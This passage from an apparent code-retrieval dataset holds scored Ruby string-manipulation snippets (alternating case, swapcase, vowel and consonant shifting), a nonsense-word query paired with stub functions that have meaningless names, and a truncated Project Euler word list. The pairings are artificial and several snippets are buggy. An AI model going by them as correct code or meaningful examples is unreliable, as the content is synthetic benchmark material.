next_consonant(new_name[1][l])\n l += 1\n end\n end\n #debugging\n #p second_name\n #capitalize first and last name\n first_name = first_name.capitalize!\n second_name = second_name.capitalize!\n #rejoin\n new_name = second_name + ' ' + first_name\n #debug\n #p \"#{name} is now #{new_name}\"\nend", "title": "" }, { "docid": "8e26a017ede437be3e095b15bffc9ffb", "score": "0.67058635", "text": "def switch_up (sentance) \n new_arr = [] \n sentance.each_char do |letter| \n if letter == letter.downcase\n new_arr.push(letter.upcase) \n else \n new_arr.push(letter.downcase) \n end\n end\n new_arr.join\nend", "title": "" }, { "docid": "23400c7f72b49259e4a56ff893bc5218", "score": "0.6705655", "text": "def letter_change(spy_name)\n consonant = \"bcdfghjklmnpqrstvwxyz\"\n vowel = \"aeiou\"\n new_name = \"\"\n letter_new = \"\"\n\n spy_name.each do |letter|\n if consonant.index(letter) != nil\n letter_new = consonant[consonant.index(letter) + 1]\n elsif vowel.index(letter) != nil\n if letter == \"u\" #addresses last vowel edge case\n letter_new = \"a\"\n elsif\n letter_new = vowel[vowel.index(letter) + 1]\n end\n elsif letter == \" \"\n letter_new = letter\n end\n new_name += letter_new.to_s #.to_s addresses a nil edge case\n end\n p new_name\n\nend", "title": "" }, { "docid": "5bf034d6e4a3a9f50fd688c537fe01a7", "score": "0.6693406", "text": "def alternating_case(sent)\n words = sent.split(\" \")\n new_words = words.map.with_index do |word, i|\n if i % 2 == 0\n word.upcase\n else\n word.downcase\n end\n end\n\n new_words.join(\" \")\nend", "title": "" }, { "docid": "9c0d562d635ef91fd7392b8c662b14fa", "score": "0.6685691", "text": "def weirdcase(str)\n # your code goes here\n result = \"\"\n str.chars.each.with_index do |ch, i|\n if i.odd?\n result << ch.downcase\n else result << ch.upcase\n end\n\n end\n result\nend", "title": "" }, { "docid": "f26d902df5cdb1c2e2bc696800390141", "score": "0.6682867", "text": "def staggered_case(string)\n output = ''\n string.length.times do |idx|\n if idx.even?\n output << string[idx].upcase\n else\n output << string[idx].downcase\n end\n end\n output\nend", "title": "" }, { "docid": "f4a35d370dfc413f4e056892c78cf1f8", "score": "0.6682259", "text": "def scramble(name)\r\n\ti = 0\r\n\tname = name.split\r\n\tname[0],name[1] = name[1],name[0]\r\n\tname = name.join(\" \")\r\n\tp name\r\n\r\n\tname = name.gsub(/[aeiou]/, 'a'=>'e', 'e'=>'i','i'=>'o', 'o'=>'u', 'u'=>'a')\r\n\tp name\r\n\tif name.split != /[aeiou]/\r\n\tname.tr('a-y', 'b-z')\r\nend\r\nend", "title": "" }, { "docid": "00efdabf14a2daaa4e04c9041492b627", "score": "0.6660227", "text": "def array_translate(array)\n new_str = \"\"\n i = 0\n while i < array.length - 1\n array[i+1].times{new_str += array[i]}\n i += 2\n end\n new_str\nend", "title": "" }, { "docid": "b3d1999ce38e6396dd0d2f4a2be11d65", "score": "0.6656354", "text": "def staggered_case(str)\n staggered_str = ''\n str.chars.each_with_index do |char, index|\n staggered_str << char.upcase if index.even?\n staggered_str << char.downcase if index.odd?\n end\n staggered_str\nend", "title": "" }, { "docid": "757b00e02ed7ad9f6f0a4a436687bcbe", "score": "0.6640761", "text": "def staggered_case(string)\n staggered = ''\n string.chars.each_with_index do |char, index|\n staggered << char.upcase if index.even?\n staggered << char.downcase if index.odd?\n end\n staggered\nend", "title": "" }, { "docid": "ccbf1e9b79b5c8bdbe57b30ad7e4d0e2", "score": "0.6639105", "text": "def staggered_case(input)\n new_arr = []\n upper_case = true\n\n input.chars.each do |char|\n if char =~ /[a-z]/i \n if upper_case\n new_arr << char.upcase \n else\n new_arr << char.downcase\n end\n upper_case = !upper_case\n else\n new_arr << char\n end\n end\n new_arr.join\n\nend", "title": "" }, { "docid": "27dc87b34a9d89f5b2eaa4ab4c137330", "score": "0.6635119", "text": "def weirdcase(str)\n str.downcase!\n\n str.each_char.with_index do |ch, idx|\n str[idx] = ch.upcase if idx.odd?\n end\n\n str\nend", "title": "" }, { "docid": "05840e934b7b9885392c4f2583f8c10f", "score": "0.6635095", "text": "def sentence_maker(array)\n array.join(\" \").capitalize << \".\"\nend", "title": "" }, { "docid": "e3cb4e62313ffd42d0f1b00043c09c3b", "score": "0.66316825", "text": "def weirdcase(str)\n str.chars.each_with_index.map do |el, idx|\n idx.even? ? str[idx] = el.downcase : str[idx] = el.upcase\n end\n return str\nend", "title": "" }, { "docid": "75998f5628ce48fab12f08659a7b1e08", "score": "0.66275215", "text": "def staggered_case(str)\n indices_skipped = 0\n working_array = str.chars\n working_array.each_with_index do |char, i|\n if (i + indices_skipped).even? && char =~ /[a-zA-Z]/\n char.upcase!\n elsif (i + indices_skipped).odd? && char =~ /[a-zA-Z]/\n char.downcase!\n else\n indices_skipped += 1\n char\n end\n end\n\n working_array.join('')\nend", "title": "" }, { "docid": "2844c730041492e84661de8c6be2b9da", "score": "0.66265196", "text": "def staggered_case(multi_word_string)\n word_arr = multi_word_string.split\n modified_arr = word_arr.map do |word|\n return_str = []\n word.split(\"\").each_with_index do |let, ind|\n if ind % 2 == 0\n return_str << let.upcase\n else\n return_str << let.downcase\n end\n end\n return_str.join\n end\n modified_arr.join\" \" \nend", "title": "" }, { "docid": "4e76ebe8ed794cb86daf8419a7324c19", "score": "0.6625632", "text": "def add_cases_to_array(string_to_array)\n string_to_array.map.with_index { |n, i| i.even? ? n.upcase : n.downcase }\nend", "title": "" }, { "docid": "d96f69ffd683cf80a53ded32c4125e39", "score": "0.66223973", "text": "def sentence_maker(array)\narray.join(' ').capitalize << \".\"\nend", "title": "" }, { "docid": "fa2a1472b34b0d390f24b2644624c72b", "score": "0.66160816", "text": "def weirdcase(str)\n ans = \"\"\n str.chars.each_with_index do |el,i|\n if i.even?\n ans << el.downcase\n else\n ans << el.upcase\n end\n end\n ans\nend", "title": "" }, { "docid": "9e5592837cc1452a2e550655dae8f3d8", "score": "0.6609578", "text": "def sentence_maker(array)\n first_word = array[0]\n new_array = first_word.capitalize\n array[0].replace(new_array)\n return array.join(\" \") + \".\"\nend", "title": "" }, { "docid": "3abae092ba6fe207e845f553762ef19f", "score": "0.66090596", "text": "def sponge_meme(sentence)\n sentence.downcase.chars.each_with_index.map {|letter, index| index.even? ? letter.upcase : letter}.join\nend", "title": "" }, { "docid": "4fb92d11c72083521b294fa9ceec6b56", "score": "0.6608054", "text": "def weirdcase(str)\nresult = \"\"\n\nidx = 0\nwhile idx < str.length\n num = idx + 1\n if num.even?\n result += str[idx].upcase\n else\n result += str[idx].downcase\n end\n\n idx += 1\n\nend\n return result\n\nend", "title": "" }, { "docid": "f4c9ceadf9c08a063cf23990f1528250", "score": "0.6600135", "text": "def alternating_case(str)\n words = str.split\n\n words.map!.with_index do |word, idx|\n if idx.even?\n word.upcase\n else\n word.downcase\n end\n end\n\n words.join(\" \")\nend", "title": "" }, { "docid": "06a9b8d74e7c1af8852b7b226a9188b7", "score": "0.65950197", "text": "def destructive_uppercase(str)\n i = 0\n new_str = \"\"\n\n while i < str.length\n if str[i] != str[i].downcase\n new_str += str[i]\n end\n i += 1\n end\n\n return new_str\n\n\nend", "title": "" }, { "docid": "fc81b336a614086dfedcdb564b70a340", "score": "0.65947074", "text": "def weirdcase(str)\n str.chars.each_with_index do |c, i|\n if i.even?\n str[i] = c.downcase\n else\n str[i] = c.upcase\n end\n end\n str\nend", "title": "" }, { "docid": "84e4a39be7fc3d3972a0046747625912", "score": "0.65943664", "text": "def staggered_case(string)\n result = string.chars.map.with_index do |char, index|\n if index.even?\n char.upcase\n elsif index.odd?\n char.downcase\n else\n char\n end\n end\n result.join\nend", "title": "" }, { "docid": "e2a9859384cae6ec5b0ece12b2d74e3c", "score": "0.65942496", "text": "def destructive_uppercase(str)\n\n # An easy way to solve this question whith regular expression.\n # return str.gsub(/[a-z]/, '')\n\n\n # new_str = ''\n # str_idx = 0\n # while str_idx < str.length\n # ch = str[str_idx]\n # new_str << ch if ch == ch.upcase\n # str_idx += 1\n # end\n # new_str\n\n new_str = ''\n str.chars.each { |i| new_str << i if i == i.upcase }\n new_str\nend", "title": "" }, { "docid": "972d36c5a51ca9e6002ad50c86d419c1", "score": "0.65940005", "text": "def convert_to_uppercase(array)\n list_of_converted_words = []\n array.each do |word|\n list_of_converted_words << word.upcase\n end\n list_of_converted_words\nend", "title": "" }, { "docid": "7dbaa40fd438d876ea1b4af7ccd7589f", "score": "0.65872175", "text": "def swapcase(str)\n new_str = ''\n str.length.times {|n|\n str[n].match(/[a-z]/) ?\n new_str << str[n].upcase\n : str[n].match(/[A-Z]/) ?\n new_str << str[n].downcase\n : new_str << str[n]\n }\n new_str\nend", "title": "" }, { "docid": "829067e48d414561aa67de15239994ea", "score": "0.65862536", "text": "def swapcase(string)\n\n upper_case = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n lower_case = \"abcdefghijklmnopqrstuvwxyz\"\n\n r = \"\"\narray = string.split(//)\nfor letter in array\n if lower_case.include? letter\n r << letter.upcase\nelse\n r << letter.downcase\n end\nend\n\n\n\nreturn r\nend", "title": "" }, { "docid": "662c61d1dd374b296ef431efb7d94249", "score": "0.65849096", "text": "def summon_captain_planet(array)\n array.map { |e| e.capitalize << \"!\" }\nend", "title": "" }, { "docid": "1ada558fc0aef02e2e9d39b838c14a9d", "score": "0.6580012", "text": "def alternate_words(array)\n\n#was finding it hard to do a gsub or delete with the characters as the hash etc\n#kept breaking it .. Answer from stackoverflow\n#testing this out now in irb hence not as many revisions of the challenge\n\n new_string = array.downcase.gsub(/[^a-z0-9\\s]/i, '').split\n\n\nreturn_this = []\nnew_string.select.with_index do |value, index|\n\n if (index %2 == 0) then\n return_this.push(value)\n end\n long_array= return_this.join(\" \")\n\np long_array\n\nend\n\nend", "title": "" }, { "docid": "ca4ef4e63b55a03d9e748f5b840e143d", "score": "0.65792954", "text": "def reverse_casing array\n # loop through every word in the array (use .map) and swapcase to every word\n array.map {|value| value.swapcase} \nend", "title": "" }, { "docid": "28fe4259bd30522997615cc37beb8f11", "score": "0.65731245", "text": "def alternating_case(sentence)\n words = sentence.split\n\n new_words = words.map.with_index do |word, i|\n if i.even?\n word.upcase\n else\n word.downcase\n end\n end\n\n new_words.join(\" \")\nend", "title": "" }, { "docid": "2db39f89646a1c63dd7203e959220227", "score": "0.65700966", "text": "def manipulate(string,letter)\n index = string.index(letter)\n string[index] = (string[index]).upcase\n puts string\nend", "title": "" }, { "docid": "3921da64dba0e21c71686ba1d745f8b2", "score": "0.6565158", "text": "def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend", "title": "" }, { "docid": "3921da64dba0e21c71686ba1d745f8b2", "score": "0.6565158", "text": "def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\nend", "title": "" }, { "docid": "dd8bb575dbd1d9ec036fa72147054963", "score": "0.65634024", "text": "def letters_change(arr)\r\n #arrays of all vowels and consonants\r\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\",\"a\"]\r\n consonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\",\"b\"]\r\n n = -1\r\n until (arr.length) * -1 > n \r\n #changing vovels\r\n if vowels.include?(arr[n])\r\n arr[n] = vowels[vowels.index(arr[n]) + 1]\r\n #changing consonants\r\n elsif consonants.include?(arr[n])\r\n arr[n] = consonants[consonants.index(arr[n]) + 1]\r\n end \r\n n -=1 \r\n end\r\n arr\r\nend", "title": "" }, { "docid": "c18ec6fa45865199af7c88ce9cde07e2", "score": "0.6562906", "text": "def vowel_rotate(str)\n # iterate twice\n arr_c = []\n arr_i = []\n f_word = \"\"\n str.each_char.with_index do |c, i|\n if \"aeiou\".include?(c)\n arr_c << c\n arr_i << i\n end\n end\n\n arr_i.each_with_index do |i_s, i_i|\n str[i_s] = arr_c[i_i-1]\n end\n str\nend", "title": "" }, { "docid": "9ede091b3b89320d8f10ad2fb91bedf3", "score": "0.6561981", "text": "def reverse_upcase_noLTA(array)\n return array.upcase.reverse.delete(\"LTA\")\nend", "title": "" }, { "docid": "53cf5a359981ee948662c7b5793ba03f", "score": "0.6560418", "text": "def staggered_case(string)\n char_array = string.chars.map.with_index do |char, idx| \n if idx.even?\n char.upcase \n else \n char.downcase\n end\n end\n char_array.join\nend", "title": "" }, { "docid": "46db52722dc2bcb2a605595f970310a4", "score": "0.65597594", "text": "def translate(word)\n vowels =\"aeiouAEIOU\"\n new_word = \"\"\n word.each_char.with_index do |char, i|\n if word[0] == word[0].upcase\n if vowels.include?(char)\n new_word += word[i..-1] + word[0...i] + \"ay\"\n return new_word.capitalize\n end\n else\n if vowels.include?(char)\n new_word += word[i..-1] + word[0...i] + \"ay\"\n return new_word\n end\n end\n end\nend", "title": "" }, { "docid": "c0bb7c3c10e558a0bd25385c4ee16aa2", "score": "0.6557944", "text": "def code_name(str)\r\n # Define the consonants and vowels in arrays\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n # Downcase the results so that they will apply to the arrays\r\n str = str.downcase\r\n str = str.split(\"\")\r\n # Run a loop through each character to change vowels and consonants\r\n str_new = str.map do |char|\r\n # Using .include? to see if the characters set out in the\r\n # vowel array are included in the string\r\n if vowels.include?(char)\r\n # Use .rotate to insert the next character\r\n vowels.rotate(1)[vowels.index(char)]\r\n # Using .include? to see if the characters set out in the\r\n # consonant array are included in the string\r\n elsif consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n # Join individual letters in the array back into a string\r\n str_new.join(\"\")\r\nend", "title": "" }, { "docid": "ac917436fd8cb4aca8a15714dec89f68", "score": "0.6557853", "text": "def alias_generator(input_array)\n alias_string = input_array.join\n alias_string.split.map{|x| x.capitalize}.join(' ')\nend", "title": "" }, { "docid": "943219984c8142703762ac2c5eb30372", "score": "0.6556841", "text": "def sentence_maker(array)\n\tarray.join(\" \").capitalize << \".\"\n\nend", "title": "" }, { "docid": "dc7fea6fb8b1ae82631dcc89ee650b6a", "score": "0.65441686", "text": "def alternating_case(str)\n # Both Works!\n split = str.split(' ')\n # i = 0\n # while i < split.length-1\n # if i==0 || i%2==0\n # split[i]=split[i].upcase\n # split[i+1]=split[i+1].downcase\n # end\n # i+=2\n # end\n # return split.join(' ')\n split = split.map.with_index{|x,index|\n if index==0 or index%2==0\n x=x.upcase\n else\n x=x.downcase\n end\n }\n return split.join(' ')\nend", "title": "" }, { "docid": "cf7e83e5fa1bf271148ee74d900413b2", "score": "0.654251", "text": "def condense_array (letter_array)\n\tletter_array.map! do |name_letter_array|\n\t\tname_letter_array.join\n\tend\n\tletter_array.join(' ')\n\nend", "title": "" }, { "docid": "082384b43c42fab3b3a8f23ecaa046d6", "score": "0.6542157", "text": "def staggered_case(string)\n index = -1\n string.chars.map do |char|\n index += 1\n if index.even?\n char.upcase\n else\n char.downcase\n end\n end.join\nend", "title": "" }, { "docid": "5624231d4e4010c7ee5f98b61316a177", "score": "0.65413344", "text": "def swap_name(alias_name)\nvowels = \"aeioua\"\nconsonants = \"bcdfghjklmnpqrstvwxyzb\"\nswap_name = alias_name.split(\"\")\nnew_name = []\nswap_name.map! do |var|\n\tif vowels.include?(var)\n\t\tnew_name << vowels[vowels.index(var)+1]\n\telsif consonants.include?(var)\n\t\tnew_name << consonants[consonants.index(var)+1]\n\telse\n\t\tputs \" \"\n\tend\nend\n\nnew_name.join(\"\").split.map {|var| var.capitalize}.join(\"\")\nend", "title": "" }, { "docid": "cfb8c0de03183a1f5504f9735bb85738", "score": "0.6540881", "text": "def change_to_uppercase\n index = 0\n @arr = Array.new\n @people.to_a.index { |key, value|\n @arr[index] = value.upcase\n puts \"#{index += 1} position for #{value}\"\n }\n end", "title": "" }, { "docid": "0b6e7e31e5b7f4c8e4b2de73b5fb45a8", "score": "0.6540758", "text": "def staggered_case(string)\n upcase_string = string.upcase\n new_string = upcase_string.chars.map.with_index do |char, idx|\n if idx.even?\n char\n elsif idx.odd?\n char.downcase\n elsif char =~ /[^A-Za-z0-9]/\n char\n end\n end\n new_string.join\nend", "title": "" }, { "docid": "d7b62a0c09824844983180fc334bfdfc", "score": "0.6531366", "text": "def weirdcase(str)\n new_str = \"\"\n char = str.chars\n char.each_with_index do |char, index|\n if index.even?\n new_str += char.downcase\n else\n new_str += char.upcase\n end\n end\n return new_str\nend", "title": "" }, { "docid": "7de1704bf1c0aa78cdf46817ebe738bc", "score": "0.65309346", "text": "def staggered_case(string)\n arr = []\n str = string.chars.map(&:downcase)\n str.each_with_index do |letter, idx|\n arr << letter.upcase if idx.even?\n arr << letter.downcase if idx.odd?\n end\n arr.join\nend", "title": "" }, { "docid": "be2974cf952537c1d4a385cb0ff46c6a", "score": "0.6530147", "text": "def weirdcase(str)\n str.each_char.with_index do |char, idx|\n if idx % 2 == 0\n str[idx] = char.downcase\n else\n str[idx] = char.upcase\n end\n end\n return str\nend", "title": "" } ]
59593642b36c67899c804a9aa6e5567f
Semibarbarianism squeezingly dundasite underregistration isoamylethyl nagnail Regardless supperwards indignity coachy acutilobate knavishly Drat musician mirabilis endochorionic phantasmatography bedford Chloroformist sotadic sunshineless glycyrrhizin uncini trieterics Careen sordello adlai agrostographical sulvanite singularly
[ { "docid": "012884b515dec299d2c741ccfb108595", "score": "0.0", "text": "def apostrophus_orc()\n end", "title": "" } ]
[ { "docid": "7c14145aa2d019c445fa7f3f1ea38fee", "score": "0.6431737", "text": "def stragulum()\n unmemorialized_koko(lusian, bion_postcolonial, nonreformation_nemoceran)\n hanif_muscardine(neocyanine_connivance, corallina_bisontine, polyphote)\n dioramic_theatropolis_guttie?(mumphead_leucolytic, photoceramics)\n end", "title": "" }, { "docid": "b37290a50751816117e54322a6548bdd", "score": "0.63719213", "text": "def dishonorableness()\n ragwort_yellowrump_spearmanship(masurium_vulsinite, poco, renunciable)\n tchetnitsi()\n cognitive_dowser(underwave)\n end", "title": "" }, { "docid": "195cf42db01f5be50aba54f08a7adaf0", "score": "0.62742317", "text": "def knifeman()\n euryalida_pedantocrat_reply(scrappingly, thucydidean_compressible, coeffluent)\n scolopax_bluffable_taistril(mongolian, discounter, udic_jobber)\n saponacity(compresence_shapely)\n end", "title": "" }, { "docid": "4ddc7f1c1904b9946c1240e8ec4928e9", "score": "0.61322564", "text": "def problem42\n words = [\"A\",\"ABILITY\",\"ABLE\",\"ABOUT\",\"ABOVE\",\"ABSENCE\",\"ABSOLUTELY\",\"ACADEMIC\",\"ACCEPT\",\"ACCESS\",\"ACCIDENT\",\"ACCOMPANY\",\"ACCORDING\",\"ACCOUNT\",\"ACHIEVE\",\"ACHIEVEMENT\",\"ACID\",\"ACQUIRE\",\"ACROSS\",\"ACT\",\"ACTION\",\"ACTIVE\",\"ACTIVITY\",\"ACTUAL\",\"ACTUALLY\",\"ADD\",\"ADDITION\",\"ADDITIONAL\",\"ADDRESS\",\"ADMINISTRATION\",\"ADMIT\",\"ADOPT\",\"ADULT\",\"ADVANCE\",\"ADVANTAGE\",\"ADVICE\",\"ADVISE\",\"AFFAIR\",\"AFFECT\",\"AFFORD\",\"AFRAID\",\"AFTER\",\"AFTERNOON\",\"AFTERWARDS\",\"AGAIN\",\"AGAINST\",\"AGE\",\"AGENCY\",\"AGENT\",\"AGO\",\"AGREE\",\"AGREEMENT\",\"AHEAD\",\"AID\",\"AIM\",\"AIR\",\"AIRCRAFT\",\"ALL\",\"ALLOW\",\"ALMOST\",\"ALONE\",\"ALONG\",\"ALREADY\",\"ALRIGHT\",\"ALSO\",\"ALTERNATIVE\",\"ALTHOUGH\",\"ALWAYS\",\"AMONG\",\"AMONGST\",\"AMOUNT\",\"AN\",\"ANALYSIS\",\"ANCIENT\",\"AND\",\"ANIMAL\",\"ANNOUNCE\",\"ANNUAL\",\"ANOTHER\",\"ANSWER\",\"ANY\",\"ANYBODY\",\"ANYONE\",\"ANYTHING\",\"ANYWAY\",\"APART\",\"APPARENT\",\"APPARENTLY\",\"APPEAL\",\"APPEAR\",\"APPEARANCE\",\"APPLICATION\",\"APPLY\",\"APPOINT\",\"APPOINTMENT\",\"APPROACH\",\"APPROPRIATE\",\"APPROVE\",\"AREA\",\"ARGUE\",\"ARGUMENT\",\"ARISE\",\"ARM\",\"ARMY\",\"AROUND\",\"ARRANGE\",\"ARRANGEMENT\",\"ARRIVE\",\"ART\",\"ARTICLE\",\"ARTIST\",\"AS\",\"ASK\",\"ASPECT\",\"ASSEMBLY\",\"ASSESS\",\"ASSESSMENT\",\"ASSET\",\"ASSOCIATE\",\"ASSOCIATION\",\"ASSUME\",\"ASSUMPTION\",\"AT\",\"ATMOSPHERE\",\"ATTACH\",\"ATTACK\",\"ATTEMPT\",\"ATTEND\",\"ATTENTION\",\"ATTITUDE\",\"ATTRACT\",\"ATTRACTIVE\",\"AUDIENCE\",\"AUTHOR\",\"AUTHORITY\",\"AVAILABLE\",\"AVERAGE\",\"AVOID\",\"AWARD\",\"AWARE\",\"AWAY\",\"AYE\",\"BABY\",\"BACK\",\"BACKGROUND\",\"BAD\",\"BAG\",\"BALANCE\",\"BALL\",\"BAND\",\"BANK\",\"BAR\",\"BASE\",\"BASIC\",\"BASIS\",\"BATTLE\",\"BE\",\"BEAR\",\"BEAT\",\"BEAUTIFUL\",\"BECAUSE\",\"BECOME\",\"BED\",\"BEDROOM\",\"BEFORE\",\"BEGIN\",\"BEGINNING\",\"BEHAVIOUR\",\"BEHIND\",\"BELIEF\",\"BELIEVE\",\"BELONG\",\"BELOW\",\"BENEATH\",\"BENEFIT\",\"BESIDE\",\"BEST\",\"BETTER\",\"BETWEEN\",\"BEYOND\",\"BIG\",\"BILL\",\"BIND\",\"BIRD\",\"BIRTH\",\"BIT\",\"BLACK\",\"BLOCK\",\"BLOOD\",\"BLOODY\",\"BLOW\",\"BLUE\",\"BOARD\",\"BOAT\",\"BODY\",\"BONE\",\"BOOK\",\"BORDER\",\"BOTH\",\"BOTTLE\",\"BOTTOM\",\"BOX\",\"BOY\",\"BRAIN\",\"BRANCH\",\"BREAK\",\"BREATH\",\"BRIDGE\",\"BRIEF\",\"BRIGHT\",\"BRING\",\"BROAD\",\"BROTHER\",\"BUDGET\",\"BUILD\",\"BUILDING\",\"BURN\",\"BUS\",\"BUSINESS\",\"BUSY\",\"BUT\",\"BUY\",\"BY\",\"CABINET\",\"CALL\",\"CAMPAIGN\",\"CAN\",\"CANDIDATE\",\"CAPABLE\",\"CAPACITY\",\"CAPITAL\",\"CAR\",\"CARD\",\"CARE\",\"CAREER\",\"CAREFUL\",\"CAREFULLY\",\"CARRY\",\"CASE\",\"CASH\",\"CAT\",\"CATCH\",\"CATEGORY\",\"CAUSE\",\"CELL\",\"CENTRAL\",\"CENTRE\",\"CENTURY\",\"CERTAIN\",\"CERTAINLY\",\"CHAIN\",\"CHAIR\",\"CHAIRMAN\",\"CHALLENGE\",\"CHANCE\",\"CHANGE\",\"CHANNEL\",\"CHAPTER\",\"CHARACTER\",\"CHARACTERISTIC\",\"CHARGE\",\"CHEAP\",\"CHECK\",\"CHEMICAL\",\"CHIEF\",\"CHILD\",\"CHOICE\",\"CHOOSE\",\"CHURCH\",\"CIRCLE\",\"CIRCUMSTANCE\",\"CITIZEN\",\"CITY\",\"CIVIL\",\"CLAIM\",\"CLASS\",\"CLEAN\",\"CLEAR\",\"CLEARLY\",\"CLIENT\",\"CLIMB\",\"CLOSE\",\"CLOSELY\",\"CLOTHES\",\"CLUB\",\"COAL\",\"CODE\",\"COFFEE\",\"COLD\",\"COLLEAGUE\",\"COLLECT\",\"COLLECTION\",\"COLLEGE\",\"COLOUR\",\"COMBINATION\",\"COMBINE\",\"COME\",\"COMMENT\",\"COMMERCIAL\",\"COMMISSION\",\"COMMIT\",\"COMMITMENT\",\"COMMITTEE\",\"COMMON\",\"COMMUNICATION\",\"COMMUNITY\",\"COMPANY\",\"COMPARE\",\"COMPARISON\",\"COMPETITION\",\"COMPLETE\",\"COMPLETELY\",\"COMPLEX\",\"COMPONENT\",\"COMPUTER\",\"CONCENTRATE\",\"CONCENTRATION\",\"CONCEPT\",\"CONCERN\",\"CONCERNED\",\"CONCLUDE\",\"CONCLUSION\",\"CONDITION\",\"CONDUCT\",\"CONFERENCE\",\"CONFIDENCE\",\"CONFIRM\",\"CONFLICT\",\"CONGRESS\",\"CONNECT\",\"CONNECTION\",\"CONSEQUENCE\",\"CONSERVATIVE\",\"CONSIDER\",\"CONSIDERABLE\",\"CONSIDERATION\",\"CONSIST\",\"CONSTANT\",\"CONSTRUCTION\",\"CONSUMER\",\"CONTACT\",\"CONTAIN\",\"CONTENT\",\"CONTEXT\",\"CONTINUE\",\"CONTRACT\",\"CONTRAST\",\"CONTRIBUTE\",\"CONTRIBUTION\",\"CONTROL\",\"CONVENTION\",\"CONVERSATION\",\"COPY\",\"CORNER\",\"CORPORATE\",\"CORRECT\",\"COS\",\"COST\",\"COULD\",\"COUNCIL\",\"COUNT\",\"COUNTRY\",\"COUNTY\",\"COUPLE\",\"COURSE\",\"COURT\",\"COVER\",\"CREATE\",\"CREATION\",\"CREDIT\",\"CRIME\",\"CRIMINAL\",\"CRISIS\",\"CRITERION\",\"CRITICAL\",\"CRITICISM\",\"CROSS\",\"CROWD\",\"CRY\",\"CULTURAL\",\"CULTURE\",\"CUP\",\"CURRENT\",\"CURRENTLY\",\"CURRICULUM\",\"CUSTOMER\",\"CUT\",\"DAMAGE\",\"DANGER\",\"DANGEROUS\",\"DARK\",\"DATA\",\"DATE\",\"DAUGHTER\",\"DAY\",\"DEAD\",\"DEAL\",\"DEATH\",\"DEBATE\",\"DEBT\",\"DECADE\",\"DECIDE\",\"DECISION\",\"DECLARE\",\"DEEP\",\"DEFENCE\",\"DEFENDANT\",\"DEFINE\",\"DEFINITION\",\"DEGREE\",\"DELIVER\",\"DEMAND\",\"DEMOCRATIC\",\"DEMONSTRATE\",\"DENY\",\"DEPARTMENT\",\"DEPEND\",\"DEPUTY\",\"DERIVE\",\"DESCRIBE\",\"DESCRIPTION\",\"DESIGN\",\"DESIRE\",\"DESK\",\"DESPITE\",\"DESTROY\",\"DETAIL\",\"DETAILED\",\"DETERMINE\",\"DEVELOP\",\"DEVELOPMENT\",\"DEVICE\",\"DIE\",\"DIFFERENCE\",\"DIFFERENT\",\"DIFFICULT\",\"DIFFICULTY\",\"DINNER\",\"DIRECT\",\"DIRECTION\",\"DIRECTLY\",\"DIRECTOR\",\"DISAPPEAR\",\"DISCIPLINE\",\"DISCOVER\",\"DISCUSS\",\"DISCUSSION\",\"DISEASE\",\"DISPLAY\",\"DISTANCE\",\"DISTINCTION\",\"DISTRIBUTION\",\"DISTRICT\",\"DIVIDE\",\"DIVISION\",\"DO\",\"DOCTOR\",\"DOCUMENT\",\"DOG\",\"DOMESTIC\",\"DOOR\",\"DOUBLE\",\"DOUBT\",\"DOWN\",\"DRAW\",\"DRAWING\",\"DREAM\",\"DRESS\",\"DRINK\",\"DRIVE\",\"DRIVER\",\"DROP\",\"DRUG\",\"DRY\",\"DUE\",\"DURING\",\"DUTY\",\"EACH\",\"EAR\",\"EARLY\",\"EARN\",\"EARTH\",\"EASILY\",\"EAST\",\"EASY\",\"EAT\",\"ECONOMIC\",\"ECONOMY\",\"EDGE\",\"EDITOR\",\"EDUCATION\",\"EDUCATIONAL\",\"EFFECT\",\"EFFECTIVE\",\"EFFECTIVELY\",\"EFFORT\",\"EGG\",\"EITHER\",\"ELDERLY\",\"ELECTION\",\"ELEMENT\",\"ELSE\",\"ELSEWHERE\",\"EMERGE\",\"EMPHASIS\",\"EMPLOY\",\"EMPLOYEE\",\"EMPLOYER\",\"EMPLOYMENT\",\"EMPTY\",\"ENABLE\",\"ENCOURAGE\",\"END\",\"ENEMY\",\"ENERGY\",\"ENGINE\",\"ENGINEERING\",\"ENJOY\",\"ENOUGH\",\"ENSURE\",\"ENTER\",\"ENTERPRISE\",\"ENTIRE\",\"ENTIRELY\",\"ENTITLE\",\"ENTRY\",\"ENVIRONMENT\",\"ENVIRONMENTAL\",\"EQUAL\",\"EQUALLY\",\"EQUIPMENT\",\"ERROR\",\"ESCAPE\",\"ESPECIALLY\",\"ESSENTIAL\",\"ESTABLISH\",\"ESTABLISHMENT\",\"ESTATE\",\"ESTIMATE\",\"EVEN\",\"EVENING\",\"EVENT\",\"EVENTUALLY\",\"EVER\",\"EVERY\",\"EVERYBODY\",\"EVERYONE\",\"EVERYTHING\",\"EVIDENCE\",\"EXACTLY\",\"EXAMINATION\",\"EXAMINE\",\"EXAMPLE\",\"EXCELLENT\",\"EXCEPT\",\"EXCHANGE\",\"EXECUTIVE\",\"EXERCISE\",\"EXHIBITION\",\"EXIST\",\"EXISTENCE\",\"EXISTING\",\"EXPECT\",\"EXPECTATION\",\"EXPENDITURE\",\"EXPENSE\",\"EXPENSIVE\",\"EXPERIENCE\",\"EXPERIMENT\",\"EXPERT\",\"EXPLAIN\",\"EXPLANATION\",\"EXPLORE\",\"EXPRESS\",\"EXPRESSION\",\"EXTEND\",\"EXTENT\",\"EXTERNAL\",\"EXTRA\",\"EXTREMELY\",\"EYE\",\"FACE\",\"FACILITY\",\"FACT\",\"FACTOR\",\"FACTORY\",\"FAIL\",\"FAILURE\",\"FAIR\",\"FAIRLY\",\"FAITH\",\"FALL\",\"FAMILIAR\",\"FAMILY\",\"FAMOUS\",\"FAR\",\"FARM\",\"FARMER\",\"FASHION\",\"FAST\",\"FATHER\",\"FAVOUR\",\"FEAR\",\"FEAT